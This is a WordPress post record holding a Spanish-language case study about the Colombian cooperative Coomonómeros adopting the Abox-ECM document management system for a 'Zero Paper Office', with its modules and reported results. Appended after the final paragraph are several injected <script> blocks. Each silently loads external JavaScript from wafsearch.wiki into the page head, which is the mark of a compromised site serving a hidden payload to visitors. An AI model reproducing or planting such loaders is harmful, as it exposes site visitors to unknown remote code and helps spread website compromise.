{"id":1504,"date":"2015-10-24T22:46:00","date_gmt":"2015-10-25T03:46:00","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1504"},"modified":"2026-03-20T05:55:32","modified_gmt":"2026-03-20T10:55:32","slug":"coomonomeros-oficina-cero-papel","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/coomonomeros-oficina-cero-papel\/","title":{"rendered":"Coomononeros implementa en Barranquilla su Oficina Cero Papel con Abox-ECM"},"content":{"rendered":"<h2>La Organizaci\u00f3n<\/h2>\n<p>La Cooperativa Multiactiva de Mon\u00f3meros (Coomon\u00f3meros) es una asociaci\u00f3n aut\u00f3noma, compuesta por empleados y exempleados del grupo Mon\u00f3meros que se han unido, de forma voluntaria, para satisfacer sus necesidades y aspiraciones econ\u00f3micas, sociales y culturales en com\u00fan, mediante una empresa de propiedad conjunta y de gesti\u00f3n democr\u00e1tica.<\/p>\n<p>La personer\u00eda Jur\u00eddica de Coomon\u00f3meros fue reconocida por el Departamento Nacional de Cooperativas (DANCOOP) en 1987 y cuenta actualmente con cerca de 1.500 asociados.<\/p>\n<p>Coomon\u00f3meros es una cooperativa multiactiva con secciones educativas y de ahorro y cr\u00e9dito controlada por autogesti\u00f3n de sus asociados y vigilada por la superintendencia de la econom\u00eda solidaria. Su sede central est\u00e1 ubicada dentro del recinto de Mon\u00f3meros Industrial en Barranquilla (Atl\u00e1ntico).<\/p>\n<h2>El Proyecto<\/h2>\n<p>COOMONOMEROS es un fondo muy innovador perteneciente a la empresa Mon\u00f3meros Colombo Venezolanos S.A, filial de Pequiven, que transforma hidrocarburos en desarrollo social sostenible con una visi\u00f3n de liderazgo se proyecta como una potencia petroqu\u00edmica mundial.<\/p>\n<p>Desde el a\u00f1o 2012 se viene trabajando en el \u00e1mbito de la gesti\u00f3n documental para reducir progresivamente la carga del papel en los procesos.<\/p>\n<p>El proyecto de COOMONOMETOS inici\u00f3 en el a\u00f1o 2013 con la implantaci\u00f3n de un <b>Sistema de Gesti\u00f3n Electr\u00f3nica de Documentos de Archivo<\/b> y se ha ido completando en ampliaciones y mejoras sucesivas.<\/p>\n<p>En 2015 abarcaba los siguientes procesos de negocio:<\/p>\n<ul>\n<li>Correspondencia oficial<\/li>\n<li>Gesti\u00f3n del expediente de asociado<\/li>\n<li>Gesti\u00f3n del expediente de servicios<\/li>\n<li>Integraci\u00f3n autom\u00e1tica de los comprobantes de pago.<\/li>\n<\/ul>\n<h2>La Soluci\u00f3n<\/h2>\n<p><b>Abox ECM <\/b>ha contribuido a hacer realidad la <b>Oficina Cero Papel<\/b> y de este modo mejorar la eficiencia y satisfacci\u00f3n de los asociados de Coomon\u00f3meros.<\/p>\n<p>ABOX se puso en marcha con los siguientes <b>m\u00f3dulos<\/b>:<\/p>\n<ul>\n<li>M\u00f3dulo de Correspondencia:\n<ul>\n<li>Ventanilla automatizada conectada con el esc\u00e1ner de la empresa.<\/li>\n<li>Registro de entradas y salidas oficiales.<\/li>\n<li>Digitalizaci\u00f3n y OCR masivo y autom\u00e1tico.<\/li>\n<li>Distribuci\u00f3n electr\u00f3nica a las oficinas.<\/li>\n<li>Planillas de reparto interno y externos.<\/li>\n<li>Reportes de correspondencia.<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulo de Gesti\u00f3n de Asociados:\n<ul>\n<li>Flujo del estado del asociado: pendiente, activo, inactivo, suspendido y retirado.<\/li>\n<li>Serie documental del asociado con todos sus documentos esperados.<\/li>\n<li>Carga del hist\u00f3rico de asociados (m\u00e1s de 2.500 registros).<\/li>\n<li>Reportes de asociados.<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulo de Productos:\n<ul>\n<li>Expediente de aprobaci\u00f3n de cr\u00e9ditos.<\/li>\n<li>Expediente de ahorros.<\/li>\n<li>Reporte de ventas.<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulo de Contabilidad:\n<ul>\n<li>Integraci\u00f3n con sistema contable de la compa\u00f1\u00eda (EliteSoft).<\/li>\n<li>Vinculaci\u00f3n autom\u00e1tica con los expedientes de asociados.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Se estima en m\u00e1s de 1.000 el n\u00famero de documentos radicados y 4.000 el n\u00famero de transacciones realizadas por mes.<\/p>\n<p>La herramienta emplea a <b>7 usuarios activos,<\/b> y m\u00e1s de <b>20 usuarios internos de consulta<\/b>.<\/p>\n<p>La aplicaci\u00f3n emplea un servidor de aplicaci\u00f3n y base de datos, con un motor de Sql Server y un repositorio de archivos, todo ello bajo muy estrictas condiciones de seguridad y rendimiento.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/persona-atendiendo-expte.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1535 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/persona-atendiendo-expte-300x202.jpg\" alt=\"persona-atendiendo-expte\" width=\"300\" height=\"202\" \/><\/a><\/p>\n<h2>El resultado<\/h2>\n<p>Ser capaz de integrar en una sola plataforma de tecnolog\u00eda 100% web los procesos m\u00e1s consumidores de papel y m\u00e1s dif\u00edciles de gestionar electr\u00f3nicamente en Coomon\u00f3meros.<\/p>\n<p>Ofrecer un acceso integral y seguro a toda la documentaci\u00f3n de la Cooperativa, radicada en cualquiera de sus sedes, desde un sencillo navegador, sin necesidad de instalar componentes adicionales.<\/p>\n<p>Integraci\u00f3n en tiempo real de todos los procesos de aprobaci\u00f3n, para permitir su control y trazabilidad desde cualquier lugar y cualquier hora.<\/p>\n<p>En consecuencia, se trata de un primer paso muy importante para la transformaci\u00f3n tecnol\u00f3gica del Fondo, reduciendo el uso del papel y gestionando m\u00e1s eficientemente sus procesos.<\/p>\n<p>Los nuevos flujos de trabajo han mejorado la productividad de la empresa y han reducido el uso del papel en la compa\u00f1\u00eda (se ha establecido el objetivo de reducci\u00f3n en un 50% para los primero 18 meses de actividad).<\/p>\n<p>Todo ello ha contribuido a mejorar la percepci\u00f3n del Fondo entre los asociados (p.ej. los documentos que ya se tienen, ya no se piden de nuevo al asociado) y obviamente se han logrado ahorros en costos de transporte y mensajer\u00eda, as\u00ed como la evitaci\u00f3n de errores y necesidad de supervisi\u00f3n f\u00edsica de los procesos.<\/p>\n<h2>La Conclusi\u00f3n<\/h2>\n<p>Con este proyecto Coomon\u00f3meros logra pasar al mundo electr\u00f3nico los procesos documentales m\u00e1s cr\u00edticos en un tiempo record y con unos resultados funcionales y de usabilidad excelentes.<\/p>\n<p>Las nuevas tecnolog\u00edas empleadas ofrecen al cliente un nuevo marco de trabajo m\u00e1s flexible y usable, que permitir\u00e1n un aumento considerable de competitividad de la organizaci\u00f3n de cara al futuro.<\/p>\n<p>Algunas de las <b>deficiencias corregidas<\/b> estaban afectando a los procesos internos de la organizaci\u00f3n y provocaban ineficiencias, \u201cislas\u201d de informaci\u00f3n, desconexi\u00f3n entre dependencias y falta de control.<\/p>\n<ol>\n<li>No se estaban digitalizando la totalidad de los documentos de los distintos procesos. Tampoco se estaba centralizando toda la informaci\u00f3n entrante en un solo punto, accesible ahora v\u00eda web.<\/li>\n<li>Se implement\u00f3 el concepto de <b>Expediente \u00danico de Asociado<\/b>, lo que favorece la consulta y la reutilizaci\u00f3n de documentaci\u00f3n disponible.<\/li>\n<li>No era posible o demasiado dificultoso conocer la situaci\u00f3n de los distintos tr\u00e1mites y conocer los tiempos medios en los que estos se estaban ejecutando.<\/li>\n<li>La consulta de documentos y la obtenci\u00f3n de soportes y comprobantes era demasiado lenta y consum\u00eda muchos recursos internos, que ahora se podr\u00e1n dedicar a tareas m\u00e1s productivas.<\/li>\n<li>Se invert\u00edan excesivos recursos (humanos y t\u00e9cnicos) en mantener un archivo f\u00edsico que con las nuevas tecnolog\u00edas se reducir\u00e1 de forma sustancial, evitando el riesgo de p\u00e9rdida de soportes y\/o respuestas fuera de plazo.<\/li>\n<\/ol>\n<p>Para las siguientes fases del proyecto, se pretende profundizar a\u00fan m\u00e1s en el concepto Cero Papel, ampliando el n\u00famero de usuarios e iniciando un contacto directo (persona-a-persona) con los asociados mediante un m\u00f3dulo de Extranet documental.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 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